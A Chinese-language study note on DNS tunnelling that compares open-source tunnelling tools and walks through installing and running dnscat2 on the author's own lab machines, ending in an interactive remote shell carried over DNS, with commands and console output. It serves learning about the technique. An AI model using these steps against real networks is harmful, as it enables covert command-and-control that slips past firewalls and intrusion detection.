一 前言
DNS上節(jié)說(shuō)到,主要用來(lái)做域名解析的,但是黑客卻可以通過(guò)將其他協(xié)議的內(nèi)容封裝再DNS協(xié)議中,然后通過(guò)DNS請(qǐng)求和響應(yīng)來(lái)傳輸數(shù)據(jù)和完成控制,DNS服務(wù)作為互聯(lián)網(wǎng)上最普遍的服務(wù),防火墻和入侵檢測(cè)設(shè)備一般都會(huì)放行,這就給黑客們有了可乘之機(jī),以下為學(xué)習(xí)筆記。
二 DNS隧道的方式
2.1 分類(lèi)
目前DNS隧道目前按照連接方式來(lái)分:直連隧道和中繼隧道。
直連隧道 :用戶(hù)直接和控制服務(wù)器通過(guò)DNS連接,由于直連不經(jīng)過(guò)其他DNS服務(wù)器,所以速度快,但是很多用戶(hù)是對(duì)DNS服務(wù)器是有配置要求的,只能配置特定的服務(wù)器,配置其他的DNS服務(wù)器不準(zhǔn)許;另外這種方式由于直接連接的,很容易暴漏攻擊服務(wù)器。
中繼隧道: 利用DNS迭代查詢(xún)方式,中間通過(guò)多個(gè)DNS服務(wù)器的跳轉(zhuǎn),跳轉(zhuǎn)到最終的控制機(jī),整個(gè)解析過(guò)程更長(zhǎng),所以性能沒(méi)有直連好,還要防止DNS緩存。

2.2 開(kāi)源工具
網(wǎng)上有不少開(kāi)源工具實(shí)現(xiàn)了DNS的隧道,對(duì)比如下:
| 軟件名稱(chēng) | 開(kāi)發(fā)語(yǔ)言 | 特點(diǎn) | 推薦 |
|---|---|---|---|
| OzymanDNS | perl | 只有最初版本 | 不推薦 |
| tcp-over-dns | JAVA | 跨平臺(tái) | 比較老 |
| iodine | C | 直連和中繼都支持速度快支持編碼和請(qǐng)求類(lèi)型 | 推薦 |
| dns2tcp | C | 只直連未實(shí)現(xiàn)命令 | 不推薦 |
| Dnscat2 | 客戶(hù)端C服務(wù)器ruby | 支持加密隧道,功能強(qiáng)大 | 推薦 |
2.3 關(guān)鍵技術(shù)
- 在兩種DNS 隧道中,用的最多的是中繼方式,能讓DNS服務(wù)器做遞歸查詢(xún),則需要每次查詢(xún)均采用不同域名的,一句話(huà)是每次采用新域名的方式來(lái)保證走DNS查詢(xún)。
- 大多數(shù)場(chǎng)景 是服務(wù)器端沒(méi)辦法連客戶(hù)端,因?yàn)榉阑饓騼?nèi)網(wǎng)原因,所以多是通過(guò)客戶(hù)端定時(shí)連接服務(wù)器端來(lái)保持狀態(tài)。
三 實(shí)踐
為了更好理解軟件工作,二是為了獲取相關(guān)的報(bào)文,準(zhǔn)備搭建兩個(gè)嘗試下整個(gè)過(guò)程。
以更常用的Dnscat2為例測(cè)試,我以自己的windows機(jī)器來(lái)作為被控制方,里面的centos機(jī)器作為控制方測(cè)試。
3.1 安裝
#windows下客戶(hù)端下載地址
#解壓密碼為password ,windows下只有32位的。
https://downloads.skullsecurity.org/dnscat2/
#linux下服務(wù)器端安裝
#安裝ruby
$ yum install ruby
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install
3.2 運(yùn)行
服務(wù)器端為ruby開(kāi)發(fā),所以需要先安裝ruby才可以運(yùn)行,因?yàn)橹皇呛?jiǎn)單測(cè)試,走直連模式,可以直接運(yùn)行:
#缺了不少庫(kù)采用以下方式安裝
gem install ecdsa
gem install sha3
gem install salsa20
gem install trollop
gem install trollop
#服務(wù)器端命令
ruby ./dnscat2.rb --secret 12345
#客戶(hù)端命令
./dnscat --dns server=127.0.0.1,port=53 --secret=12345
3.3 遇到問(wèn)題
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
可能原因,默認(rèn)有密碼的是隨機(jī)的,所以最好指定密碼,不然連不上。
/home/miaohq/dns2cat/dnscat2/server/tunnel_drivers/driver_dns.rb:316: warning: Capturing the given block using Kernel#proc is deprecated; use `&block` instead
New window created: 1
/home/miaohq/dns2cat/dnscat2/server/libs/settings.rb:166: warning: Capturing the given block using Kernel#proc is deprecated; use `&block` instead
查了半天竟然是ruby用的版本2.7的問(wèn)題造成的調(diào)用警告。
輸入:
#進(jìn)入交互狀態(tài)
session -i 1
#輸入shell進(jìn)入交互
command (localhost.localdomain) 1> shell
Sent request to execute a shell
command (localhost.localdomain) 1> New window created: 2
Shell session created!
#看下shell信息
dnscat2> windows
0 :: main [active]
crypto-debug :: Debug window for crypto stuff [*]
dns1 :: DNS Driver running on 0.0.0.0:53 domains = [*]
1 :: command (localhost.localdomain) [encrypted and verified]
2 :: sh (localhost.localdomain) [encrypted and verified] [*]
#切換到shell
dnscat2> session -i 2
New window created: 2
history_size (session) => 1000
Session 2 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!
#輸入命令:
sh (localhost.localdomain) 2> pwd
sh (localhost.localdomain) 2> /home/test/dns2cat/dnscat2/client
簡(jiǎn)單的過(guò)程:
